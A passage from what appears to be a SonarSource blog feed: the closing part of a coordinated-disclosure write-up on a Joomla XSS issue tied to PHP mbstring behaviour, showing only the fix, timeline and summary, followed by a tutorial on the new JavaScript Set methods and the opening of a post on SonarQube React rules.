+    $preTag .= substr($postTag, 0, $tagOpenStart);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The difference between these functions is that PHP’s regular string functions are not multibyte aware and operate on single bytes. Since multibyte awareness is not required for the applied sanitization, these functions should be preferred.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also reported the inconsistent behavior of the mbstring functions to the PHP maintainers, since we consider it as unintended. The PHP maintainers provided a patch, which makes the behavior consistent by not skipping over continuation bytes when encountering a leading byte. Unfortunately, the issue was not classified as security-relevant, which means that the patch is not backported to older versions of PHP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More background information on the behavior of the PHP mbstring functions and the patch can be found in the excellent explanation from Alex Dowad in the related &lt;a href=&quot;https://github.com/php/php-src/pull/12913&quot;&gt;commit message&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-22&lt;/td&gt;&lt;td&gt;We report the vulnerability to the Joomla! Security Strike Team&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-28&lt;/td&gt;&lt;td&gt;The Joomla! Security Strike Team confirms our findings.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-01&lt;/td&gt;&lt;td&gt;We report the inconsistent mbstring function behavior to the&lt;br&gt;
PHP maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-10&lt;/td&gt;&lt;td&gt;The PHP maintainers provide a patch, which is applied to&lt;br&gt;
PHP 8.3 and 8.4.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-20&lt;/td&gt;&lt;td&gt;Joomla releases version 5.0.3/4.4.3, which mitigates the issue&lt;br&gt;
regardless of the PHP version.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-20&lt;/td&gt;&lt;td&gt;Coordinated release of security announcement by Joomla and Sonar.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-23&lt;/td&gt;&lt;td&gt;Full technical details added.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we explained how SonarCloud led us to an interesting XSS finding in the popular CMS Joomla. During our analysis of the issue, we discovered an inconsistency in how PHP’s mbstring functions handle invalid multibyte sequences. Attackers could leverage this behavior to bypass the sanitization performed by Joomla’s core filter leading to multiple XSS vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the Joomla! Security Strike Team for quickly responding to our notification, collaborating on a corresponding patch, and informing all users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, thanks a lot to &lt;a href=&quot;https://github.com/alexdowad&quot;&gt;Alex Dowad&lt;/a&gt; for quickly addressing the issue from the PHP side!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/&quot;&gt;WordPress Core - Unauthenticated Blind SSRF&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-object-injection-vulnerability/&quot;&gt;WordPress &amp;lt; 5.8.3 - Object Injection Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/grav-cms-code-execution-vulnerabilities/&quot;&gt;Grav CMS 1.7.10 - Code Execution Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/ghost-admin-takeover/&quot;&gt;Ghost CMS 4.3.2 - Cross-Origin Admin Takeover&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Union, intersection, difference, and more are coming to JavaScript Sets]]></title><description><![CDATA[The JavaScript Set was introduced to the language in the ES2015 spec, but it has always seemed incomplete. That's about to change with the addition of functions like intersection, union and difference.]]></description><link>https://www.sonarsource.com/blog/union-intersection-difference-javascript-sets</link><guid isPermaLink="false">986ccd5e-71b4-5ea7-a45f-8a02541b887e</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Thu, 15 Feb 2024 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set&quot;&gt;JavaScript &lt;code&gt;Set&lt;/code&gt;&lt;/a&gt; was introduced to the language in the ES2015 spec, but it has always seemed incomplete. That&amp;#x27;s about to change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sets are collections of values where each value may only appear once. In the ES2015 version of the &lt;code&gt;Set&lt;/code&gt;, the available functionality revolved around creating, adding to, removing from, and checking the membership of a &lt;code&gt;Set&lt;/code&gt;. If you wanted to operate on or compare more than one set, you had to write your own functions. Thankfully, &lt;a href=&quot;https://tc39.es/&quot;&gt;TC39&lt;/a&gt;—the committee established to work on the ECMAScript spec—and the browsers have been working on this. We are now seeing functions like &lt;code&gt;union&lt;/code&gt;, &lt;code&gt;intersection&lt;/code&gt; and &lt;code&gt;difference&lt;/code&gt; in JavaScript implementations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before we look at the new functionality, let&amp;#x27;s recap what JavaScript Sets can do now and then we&amp;#x27;ll jump into the &lt;a href=&quot;https://www.sonarsource.com/blog/union-intersection-difference-javascript-sets/#what-are-the-new-set-functions&quot;&gt;new Set functions&lt;/a&gt; and the &lt;a href=&quot;https://www.sonarsource.com/blog/union-intersection-difference-javascript-sets/#support&quot;&gt;JavaScript engines that support them&lt;/a&gt; below.&lt;/p&gt;&lt;h2&gt;What do ES2015 JavaScript Sets do?&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s take a look at what the ES2015 version of the JavaScript &lt;code&gt;Set&lt;/code&gt; can do. It&amp;#x27;s easiest to do so with some examples.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/Set&quot;&gt;construct a &lt;code&gt;Set&lt;/code&gt;&lt;/a&gt; without any arguments, which gives you an empty &lt;code&gt;Set&lt;/code&gt;. Or, you can provide an iterable, like an array, to initialise the &lt;code&gt;Set&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const languages = new Set([&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;HTML&quot;, &quot;JavaScript&quot;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;Set&lt;/code&gt;s can only contain unique values, so the &lt;code&gt;Set&lt;/code&gt; above has three members. You can check this with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/size&quot;&gt;&lt;code&gt;size&lt;/code&gt; property&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.size;

// =&gt; 3&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can add more elements to the &lt;code&gt;Set&lt;/code&gt; with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/add&quot;&gt;&lt;code&gt;add&lt;/code&gt; function&lt;/a&gt;. Adding an element that is already in the &lt;code&gt;Set&lt;/code&gt; doesn&amp;#x27;t do anything.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.add(&quot;JavaScript&quot;);

languages.add(&quot;CSS&quot;);

languages.size;

// =&gt; 4&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can remove elements from the &lt;code&gt;Set&lt;/code&gt; with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/delete&quot;&gt;&lt;code&gt;delete&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.delete(&quot;TypeScript&quot;);

languages.size;

// =&gt; 3&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can check if an element is a member of the &lt;code&gt;Set&lt;/code&gt; with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/has&quot;&gt;&lt;code&gt;has&lt;/code&gt; function&lt;/a&gt;. One of the benefits of a &lt;code&gt;Set&lt;/code&gt; is that this check can be done in constant time (&lt;strong&gt;O(1)&lt;/strong&gt;), whereas the time to check if an element is in an &lt;code&gt;Array&lt;/code&gt; varies by the length of the &lt;code&gt;Array&lt;/code&gt; (&lt;strong&gt;O(n)&lt;/strong&gt;). Using &lt;code&gt;Set&lt;/code&gt;s for tasks like this is a &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#example-4&quot;&gt;clean way to write intentional efficient code&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.has(&quot;JavaScript&quot;);

// =&gt; true

languages.has(&quot;TypeScript&quot;);

// =&gt; false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/forEach&quot;&gt;loop through a &lt;code&gt;Set&lt;/code&gt;&amp;#x27;s elements using &lt;code&gt;forEach&lt;/code&gt;&lt;/a&gt; or a &lt;code&gt;for...of&lt;/code&gt; loop. Elements are sorted in the order they were added to the &lt;code&gt;Set&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.forEach(element =&gt; console.log(element));

// &quot;JavaScript&quot;

// &quot;HTML&quot;

// &quot;CSS&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can also get an iterator from the &lt;code&gt;Set&lt;/code&gt; using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/keys&quot;&gt;&lt;code&gt;keys&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/values&quot;&gt;&lt;code&gt;values&lt;/code&gt;&lt;/a&gt; functions (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/keys#using_keys&quot;&gt;which are actually equivalent&lt;/a&gt;) as well as the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/entries&quot;&gt;&lt;code&gt;entries&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, you can empty a Set with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/clear&quot;&gt;&lt;code&gt;clear&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;languages.clear();

languages.size;

// =&gt; 0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&amp;#x27;s a good reminder of what you can do with the ES2015 spec version of a &lt;code&gt;Set&lt;/code&gt;: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;Set&lt;/code&gt;s provide methods to deal with a collection of unique values&lt;/li&gt;&lt;li&gt;It is efficient to add elements to a &lt;code&gt;Set&lt;/code&gt; and to test for their presence in the &lt;code&gt;Set&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Converting an &lt;code&gt;Array&lt;/code&gt; or other iterable to a &lt;code&gt;Set&lt;/code&gt; is an easy way to filter out duplicates&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This implementation misses out on operations between &lt;code&gt;Set&lt;/code&gt;s, though. You might want to create a &lt;code&gt;Set&lt;/code&gt; that contains all the items from two other &lt;code&gt;Set&lt;/code&gt;s (a union of two &lt;code&gt;Set&lt;/code&gt;s), find out what two &lt;code&gt;Set&lt;/code&gt;s have in common (intersection), or find out what isn&amp;#x27;t present in one Set that is in another (difference). Until recently, you would have had to provide your own functions.&lt;/p&gt;&lt;h2&gt;What are the new Set functions?&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;Set&lt;/code&gt; methods proposal adds the following methods to &lt;code&gt;Set&lt;/code&gt; instances: &lt;code&gt;union&lt;/code&gt;, &lt;code&gt;intersection&lt;/code&gt;, &lt;code&gt;difference&lt;/code&gt;, &lt;code&gt;symmetricDifference&lt;/code&gt;, &lt;code&gt;isSubsetOf&lt;/code&gt;, &lt;code&gt;isSupersetOf&lt;/code&gt;, and &lt;code&gt;isDisjointFrom&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of these methods are akin to some SQL joins, which we will use to illustrate the results alongside the code. Let&amp;#x27;s see some examples of what each function does.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can try out any of the code examples below in Chrome 122+ or Safari 17+.&lt;/p&gt;&lt;h3&gt;Set.prototype.union(other)&lt;/h3&gt;&lt;p&gt;A union of sets is a set that contains all the elements present in either set.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const backEndLanguages = new Set([&quot;Python&quot;, &quot;Java&quot;, &quot;JavaScript&quot;]);

const allLanguages = frontEndLanguages.union(backEndLanguages);

// =&gt; Set {&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;, &quot;Python&quot;, &quot;Java&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example, all the languages from the first two sets are in the third set. As with other methods that add elements to the &lt;code&gt;Set&lt;/code&gt;, duplicates are removed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the equivalent of a SQL &lt;code&gt;FULL OUTER JOIN&lt;/code&gt; between two tables.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a14edf2c-842f-4759-9f5c-d97293acaaad/sql_joins_union%20%281%29.webp&quot; /&gt;&lt;h3&gt;Set.prototype.intersection(other)&lt;/h3&gt;&lt;p&gt;An intersection is a set that contains all the elements that are present within both sets. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const backEndLanguages = new Set([&quot;Python&quot;, &quot;Java&quot;, &quot;JavaScript&quot;]);

const frontAndBackEnd = frontEndLanguages.intersection(backEndLanguages);

// =&gt; Set {&quot;JavaScript&quot;} &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&amp;quot;JavaScript&amp;quot; is the only element present in both the sets here.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An intersection is like an &lt;code&gt;INNER JOIN&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/df7fc81f-3402-432a-8209-55bc07bd2984/sql_joins_intersection%20%281%29.webp&quot; /&gt;&lt;h3&gt;Set.prototype.difference(other)&lt;/h3&gt;&lt;p&gt;The difference between the set you are working with and another set is all the elements present in the first set and not present in the second set.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const backEndLanguages = new Set([&quot;Python&quot;, &quot;Java&quot;, &quot;JavaScript&quot;]);

const onlyFrontEnd = frontEndLanguages.difference(backEndLanguages);

// =&gt; Set {&quot;HTML&quot;, &quot;CSS&quot;} 

const onlyBackEnd = backEndLanguages.difference(frontEndLanguages);

// =&gt; Set {&quot;Python&quot;, &quot;Java&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In finding the difference between sets, it matters which set you call the function on and which is the argument. In the example above, removing the back-end languages from the front-end languages results in &amp;quot;JavaScript&amp;quot; being removed and returning &amp;quot;HTML&amp;quot; and &amp;quot;CSS&amp;quot; in the resultant set. Whereas removing the front-end languages from the back-end languages still results in &amp;quot;JavaScript&amp;quot; being removed, and returns &amp;quot;Python&amp;quot; and &amp;quot;Java&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A difference is like performing a &lt;code&gt;LEFT JOIN&lt;/code&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/61d5670f-e4cd-4d38-9ba6-0d519abdfc83/sql_joins_difference%20%281%29.webp&quot; /&gt;&lt;h3&gt;Set.prototype.symmetricDifference(other)&lt;/h3&gt;&lt;p&gt;The symmetric difference between two sets is a set that contains all the elements that are in one of the two sets, but not both.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const backEndLanguages = new Set([&quot;Python&quot;, &quot;Java&quot;, &quot;JavaScript&quot;]);

const onlyFrontEnd = frontEndLanguages.symmetricDifference(backEndLanguages);

// =&gt; Set {&quot;HTML&quot;, &quot;CSS&quot;, &quot;Python&quot;, &quot;Java&quot;} 

const onlyBackEnd = backEndLanguages.symmetricDifference(frontEndLanguages);

// =&gt; Set {&quot;Python&quot;, &quot;Java&quot;, &quot;HTML&quot;, &quot;CSS&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, the elements in the resultant sets are the same, but note that the order is different. Set order is determined by the order the elements are added to the set and the set on which the function is performed will have its elements added first.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A symmetric difference is like a FULL OUTER JOIN excluding any elements that are in both tables.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/df912d2a-35bd-4118-a3d1-dea14a2f370c/sql_joins_symmetric_difference%20%281%29.webp&quot; /&gt;&lt;h3&gt;Set.prototype.isSubsetOf(other)&lt;/h3&gt;&lt;p&gt;A set is a subset of another set if all the elements in the first set appear in the second set.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const declarativeLanguages = new Set([&quot;HTML&quot;, &quot;CSS&quot;]);

declarativeLanguages.isSubsetOf(frontEndLanguages);

// =&gt; true

frontEndLanguages.isSubsetOf(declarativeLanguages);

// =&gt; false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A set is also a subset of itself.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;frontEndLanguages.isSubsetOf(frontEndLanguages);

// =&gt; true&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Set.prototype.isSupersetOf(other)&lt;/h3&gt;&lt;p&gt;A set is a superset of another set if all the elements in the second set appear in the first set. It is the opposite relationship of being a subset.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const declarativeLanguages = new Set([&quot;HTML&quot;, &quot;CSS&quot;]);

declarativeLanguages.isSupersetOf(frontEndLanguages);

// =&gt; false

frontEndLanguages.isSupersetOf(declarativeLanguages);

// =&gt; true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A set is also a superset of itself.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;frontEndLanguages.isSupersetOf(frontEndLanguages);

// =&gt; true&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Set.prototype.isDisjointFrom(other)&lt;/h3&gt;&lt;p&gt;Finally, a set is disjoint from another set if they have no elements in common.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const frontEndLanguages = new Set([&quot;JavaScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;]);

const interpretedLanguages = new Set([&quot;JavaScript&quot;, &quot;Ruby&quot;, &quot;Python&quot;]);

const compiledLanguages = new Set([&quot;Java&quot;, &quot;C++&quot;, &quot;TypeScript&quot;]);

interpretedLanguages.isDisjointFrom(compiledLanguages);

// =&gt; true

frontEndLanguages.isDisjointFrom(interpretedLanguages);

// =&gt; false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The interpreted languages and compiled languages in these sets do not overlap, so the sets are disjoint. The front-end languages and the interpreted languages do overlap with the element &amp;quot;JavaScript&amp;quot;, so they are not disjoint.&lt;/p&gt;&lt;h2&gt;Support&lt;/h2&gt;&lt;p&gt;As of writing this, &lt;a href=&quot;https://github.com/tc39/proposal-set-methods&quot;&gt;the proposal&lt;/a&gt; stands at stage 3 in &lt;a href=&quot;https://tc39.es/process-document/&quot;&gt;TC39&amp;#x27;s process&lt;/a&gt; and Safari 17 (released in September 2023) and Chrome 122 (February 2024) have shipped implementations of these methods. Edge follows Chrome closely and Firefox Nightly has support behind a flag, I would expect both of these browsers to ship support soon too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://bun.sh/&quot;&gt;Bun&lt;/a&gt; also uses Safari&amp;#x27;s &lt;a href=&quot;https://docs.webkit.org/Deep%20Dive/JSC/JavaScriptCore.html&quot;&gt;JavaScriptCore engine&lt;/a&gt; and thus already supports these new functions. Support in Chrome means that it has been added to the &lt;a href=&quot;https://v8.dev/&quot;&gt;V8 JavaScript engine&lt;/a&gt; and will be adopted by &lt;a href=&quot;https://nodejs.org/&quot;&gt;Node.js&lt;/a&gt; soon.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Hopefully, this means the proposal will graduate to stage 4 of the process, perhaps even in time to join the ES2024 spec before it is finalised.&lt;/p&gt;&lt;h3&gt;Polyfills&lt;/h3&gt;&lt;p&gt;While you need older JavaScript engine support, there are polyfills you can use to upgrade to spec-compliant implementations of these functions. They are available in &lt;a href=&quot;https://github.com/zloirock/core-js#new-set-methods&quot;&gt;core-js&lt;/a&gt; or as individual packages per function in the &lt;a href=&quot;https://github.com/es-shims&quot;&gt;es-shims project&lt;/a&gt; (for example, the &lt;a href=&quot;https://www.npmjs.com/package/set.prototype.union&quot;&gt;set.prototype.union package&lt;/a&gt; can be used for union functionality).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;ve written your own implementation of any of these functions, I would recommend first upgrading to the polyfills, before phasing them out as the support becomes more widespread.&lt;/p&gt;&lt;h2&gt;Sets no longer feel incomplete&lt;/h2&gt;&lt;p&gt;The JavaScript &lt;code&gt;Set&lt;/code&gt; has long been incomplete but these 7 new functions round out the implementation nicely. Building functionality like this into the language means we have to rely less on dependencies or our own implementations and can &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#intentional&quot;&gt;focus&lt;/a&gt; on the problems we are trying to solve.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is just one of a &lt;a href=&quot;https://github.com/tc39/proposals?tab=readme-ov-file&quot;&gt;full pipeline of stage 3 proposals&lt;/a&gt; before TC39 right now. Check out the list to see what else might be coming to JavaScript next. I&amp;#x27;ve got my eye on &lt;a href=&quot;https://github.com/tc39/proposal-temporal&quot;&gt;Temporal&lt;/a&gt; and &lt;a href=&quot;https://github.com/tc39/proposal-decorators&quot;&gt;Decorators&lt;/a&gt;, both of which could change the way we write major parts of our JavaScript.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Write cleaner React code with SonarQube 10.4]]></title><description><![CDATA[SonarQube 10.4 was recently released and it includes 48 new rules and one updated rule to help you to write clean code in your React applications.]]></description><link>https://www.sonarsource.com/blog/clean-react-code-sonarqube</link><guid isPermaLink="false">7145f2aa-7f5c-5964-bb18-d41818d98a6b</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Tue, 13 Feb 2024 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-10-4-release-announcement/&quot;&gt;SonarQube 10.4 was recently released&lt;/a&gt; and, between 10.3 and 10.4, &lt;em&gt;48 new rules and one updated rule &lt;/em&gt;were released to help you to write clean code in your React applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar was already serving React projects with a number of rules that Gabriel Vivas, product manager for JavaScript, described in the three-part Lesser-spotted React Mistakes blog series: &lt;a href=&quot;https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-hooked-on-a-feeling/&quot;&gt;Hooked on a Feeling&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-zombie-methods/&quot;&gt;Zombie Methods&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-what-are-we-even-rendering/&quot;&gt;What Are We Even Rendering?&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This latest update to SonarQube focuses on three areas: avoiding deprecated methods, avoiding bad practices, and writing accessible applications. In this post, I will give an overview of what React developers can expect from SonarQube with this update and introduce a few of my favourite new rules.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you want to try out these rules on your own codebase, &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;install SonarLint in your editor&lt;/a&gt; (which is always free and uses the same analyser as SonarQube) and start using it while working on your React applications.&lt;/p&gt;&lt;h2&gt;Deprecated methods&lt;/h2&gt;&lt;p&gt;As progress with React marches on, the React team deprecate some old patterns and functions. Deprecated functions are replaced with better ways to achieve the same functionality and will eventually be removed, so you should gradually replace old uses and avoid writing any new code with them. Keeping up with React standards will ensure your &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#consistent&quot;&gt;code is consistent&lt;/a&gt; and easier to &lt;a href=&quot;https://www.sonarsource.com/blog/upgrading-react-18-sonarqube/&quot;&gt;update to the latest React version&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, in class components, you can still use &lt;a href=&quot;https://react.dev/reference/react-dom/findDOMNode&quot;&gt;&lt;code&gt;findDOMNode&lt;/code&gt;&lt;/a&gt; to select the real DOM node for the instance. This has been &lt;a href=&quot;https://github.com/facebook/react/pull/13841&quot;&gt;deprecated in React&amp;#x27;s StrictMode since 2018&lt;/a&gt;, yet there are &lt;a href=&quot;https://github.com/search?q=findDOMNode&amp;type=code&quot;&gt;133,000 files that reference &lt;code&gt;findDOMNode&lt;/code&gt; publicly on GitHub&lt;/a&gt; (some of those are implementations of the function, of course). As the official React documents say, &lt;a href=&quot;https://react.dev/reference/react-dom/findDOMNode#reading-components-own-dom-node-from-a-ref&quot;&gt;Instead of using &lt;code&gt;findDOMNode&lt;/code&gt;, you should use a &lt;code&gt;ref&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The new rules that SonarQube will be enforcing to help you avoid deprecated methods are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1874/&quot;&gt;Deprecated APIs should not be used&lt;/a&gt; (this existing rule was extended for React)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6788/&quot;&gt;React&amp;#x27;s &lt;code&gt;findDOMNode&lt;/code&gt; should not be used&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6789/&quot;&gt;React&amp;#x27;s &lt;code&gt;isMounted&lt;/code&gt; should not be used&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6790/&quot;&gt;String references should not be used&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6791/&quot;&gt;React legacy lifecycle methods should not be used&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Bad practices&lt;/h2&gt;&lt;p&gt;In a fast-moving project, it&amp;#x27;s easy for inconsistencies or just plain mistakes to slip into your codebase. If you&amp;#x27;re lucky, you&amp;#x27;ll realise something&amp;#x27;s broken when you reload your application in the browser or run your tests. More typically, you have to debug when a bug is discovered in production. Having rules to check you are writing &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#intentional&quot;&gt;intentional code&lt;/a&gt; and avoiding these bad practices will save you time as you can fix them as soon as you discover them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One thing I often find myself doing is using the wrong property names on DOM elements. I am always writing 